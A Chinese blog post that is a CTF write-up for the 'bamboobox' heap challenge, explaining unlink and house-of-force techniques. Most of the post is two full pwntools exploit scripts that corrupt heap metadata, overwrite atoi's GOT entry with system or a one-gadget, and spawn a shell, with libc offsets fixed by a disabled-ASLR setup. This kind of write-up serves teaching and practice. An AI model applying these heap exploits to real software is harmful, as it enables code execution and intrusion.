unlink:

作者: cnitlrt | 来源:发表于2020-02-28 16:30 被阅读0次

堆入门---unlink的理解和各种题型总结

unlink主要是通过unlink来实现向任意地址写入,这题主要是想通过劫持atoi@plt.got为system函数来实现getshell,有一点需要注意的是只有不在fastbin范围时才可以实现unlink

from pwn import*
p = process("bamboobox")
context.log_level = 'debug'
def add(length,name):
    p.recv()
    p.sendline("2")
    p.recv()
    p.sendline(str(length))
    p.recv()
    p.sendline(name)
def show():
    p.recv()
    p.sendline("1")
def change(idx,length,name):
    p.recv()
    p.sendline("3")
    p.recv()
    p.sendline(str(idx))
    p.recv()
    p.sendline(str(length))
    p.recv()
    p.sendline(name)
def free(idx):
    p.recv()
    p.sendline("4")
    p.recv()
    p.sendline(str(idx))
target = 0x6020c8
fd = target-0x18
bk = target-0x10
add(0x80,"aaaa")
add(0x80,"aaaa")
payload = p64(0)+p64(0x81)+p64(fd)+p64(bk)
payload = payload.ljust(0x80,"a")
payload += p64(0x80)+p64(0x90)
change(0,len(payload),payload)
free(1)   #进行unlink
change(0,24+8,"a"*24+p64(0x602068))  #此时将指针指向atoi.plt.got跳转
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success("atoi_addr:"+hex(atoi_addr))
libc_base = atoi_addr - 0x36e80
log.success("libc_base:"+hex(libc_base))
sys_addr = 0x45390+libc_base
log.success("sys:"+hex(sys_addr))
change(0,10,p64(sys_addr))  #劫持为system函数
p.recv()
p.sendline("/bin/sh\x00")
#gdb.attach(p)
p.interactive()

这道题还有第二种方法,就是使用house of force来将其劫持到我们分配到的第一个堆上的地址来进行getshell:

from pwn import*
p = process("bamboobox")
#p = remote("node3.buuoj.cn",29182)
#context.log_level = 'debug'
def add(length,name):
    p.recv()
    p.sendline("2")
    p.recv()
    p.sendline(str(length))
    p.recv()
    p.sendline(name)
def show():
    p.recv()
    p.sendline("1")
def change(idx,length,name):
    p.recv()
    p.sendline("3")
    p.recv()
    p.sendline(str(idx))
    p.recv()
    p.sendline(str(length))
    p.recv()
    p.sendline(name)
def free(idx):
    p.recv()
    p.sendline("4")
    p.recv()
    p.sendline(str(idx))
'''target = 0x6020c8
fd = target-0x18
bk = target-0x10
add(0x80,"aaaa")
add(0x80,"aaaa")
payload = p64(0)+p64(0x81)+p64(fd)+p64(bk)
payload = payload.ljust(0x80,"a")
payload += p64(0x80)+p64(0x90)
change(0,len(payload),payload)
free(1)
change(0,24+8,"a"*24+p64(0x602068))
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success("atoi_addr:"+hex(atoi_addr))
libc_base = atoi_addr - 0x36e80
log.success("libc_base:"+hex(libc_base))
sys_addr = 0x45390+libc_base
log.success("sys:"+hex(sys_addr))
change(0,10,p64(sys_addr))
p.recv()
p.sendline("/bin/sh\x00")'''
add(0x20,"aaaa")
change(0,0x20+0x10,0x20*'a'+p64(0)+p64(0xffffffffffffffff))
add(-80-0x10,"aaaa")
add(0x10,p64(0x7ffff7a0d000+0xf02a4)*2)
p.recv()
p.sendline("5")
#gdb.attach(p)
# print p.recv()
p.interactive()

我这里是关闭了asrl所以libc_base是固定值,打本地肯定是没问题的,远程肯定是有问题的,当然也可以进行fastbinattrack

相关文章

  • 文件目录操作其他(基于itop4412)

    1 删除文件目录链接 解除链接unlink• man 2 unlink• 解除链接函数• int unlink(c...

  • unlink attack --how2heap unlink

    unlink 简介 unlink用于将 chunk 从所在的空闲链表中取出来。基本过程如下: 执行unlink时的...

  • unlink:

    堆入门---unlink的理解和各种题型总结 unlink主要是通过unlink来实现向任意地址写入,这题主要是想...

  • php删除文件

    php删除文件可以使用unlink函数 具体用法如下 unlink($filename);

  • unlink

    堆 pwn glibc中间维护的bins其实是用来存放malloc时从heap中割下来的堆,为了避免在heap中割...

  • Node.js fs模块-unlink、mkdir()、rmdi

    一. unlink()方法-->删除文件 1. fs.unlink('要删除文件的路径',回调函数) 2. 同步版...

  • C语言基础-unlink函数的使用

    一、头文件 二、函数原型 三、函数介绍 unlink()函数功能即为删除文件。执行unlink()函数会删除所给参...

  • Linux中的Unlink命令(删除文件)

    在本文中,我们将向您展示如何使用“unlink”命令删除GNU/Linux系统中的文件。 使用unlink删除文件...

  • pwnable.kr之unlink

    这道题考查基础的堆溢出unlink利用, 其中实现的unlink函数是对早期ptmalloc的模拟. 程序给了堆栈...

  • PWN unlink

    最近做了一些堆的题,发现对unlink还是不太熟悉,所以回来做下笔记 unlink的目的:把一个双向链表中的空闲块...

网友评论

      本文标题:unlink:

      本文链接:https://www.haomeiwen.com/subject/urgkhhtx.html